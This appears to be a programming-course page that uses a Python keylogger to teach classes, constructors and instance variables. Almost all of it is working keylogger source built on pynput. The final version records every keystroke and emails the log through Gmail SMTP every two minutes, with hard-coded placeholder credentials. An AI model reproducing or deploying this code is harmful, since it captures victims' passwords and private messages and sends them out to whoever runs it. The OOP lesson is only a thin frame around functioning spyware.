Object-Oriented Programming Keylogger Classes Way of modeling program(blueprint). Logically group functions and data. Makes code more readable. More reusable. Separate implementation from usage(encapsulation). Easier to extend. Easier to ma
Object-Oriented Programming
Keylogger Classes
- Way of modeling program(blueprint).
- Logically group functions and data.
- Makes code more readable.
- More reusable.
- Separate implementation from usage(encapsulation).
- Easier to extend.
- Easier to maintain.
The Keylogger Class:
#!/usr/bin/env python import threading import pynput.keyboard log = "" class Keylogger: def process_key_press(self, key): global log try: log = log + str(key.char) except AttributeError: if key == key.space: log = log + " " else: log = log + " " + str(key) + " " def report(self): global log print(log) log = "" timer = threading.Timer(10, self.report) timer.start() def start(self): keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press) with keyboard_listener: self.report() keyboard_listener.join()
The main Python program calling the Keylogger Class:
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger() my_keylogger.start()
Constructor Method & Instance Variables:
- AKA initialization method.
- Gets executed automatically when a class is created.
#!/usr/bin/env python import threading import pynput.keyboard class Keylogger: def __init__(self): self.log = "" def append_to_log(self, string): self.log = self.log + string def process_key_press(self, key): try: current_key = str(key.char) except AttributeError: if key == key.space: current_key = " " else: current_key = " " + str(key) + " " self.append_to_log(current_key) def report(self): print(self.log) self.log = "" timer = threading.Timer(10, self.report) timer.start() def start(self): keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press) with keyboard_listener: self.report() keyboard_listener.join()
Polish the Python Class Code once more to log Key-strikes and report them by email.
#!/usr/bin/env python import threading import smtplib import pynput.keyboard class Keylogger: def __init__(self, time_interval, email, password): self.log = "Keylogger started" self.interval = time_interval self.email = email self.password = password def append_to_log(self, string): self.log = self.log + string def process_key_press(self, key): try: current_key = str(key.char) except AttributeError: if key == key.space: current_key = " " else: current_key = " " + str(key) + " " self.append_to_log(current_key) def report(self): print(self.log) self.send_mail(self.email, self.password, "\n\n" + self.log) self.log = "" timer = threading.Timer(self.interval, self.report) timer.start() def send_mail(self, email, password, message): server = smtplib.SMTP("smtp.gmail.com", 587) server.starttls() server.login(email, password) server.sendmail(email, email, message) server.quit() def start(self): keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press) with keyboard_listener: self.report() keyboard_listener.join()
Main program:
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(120, "[email protected]", "12345678") my_keylogger.start()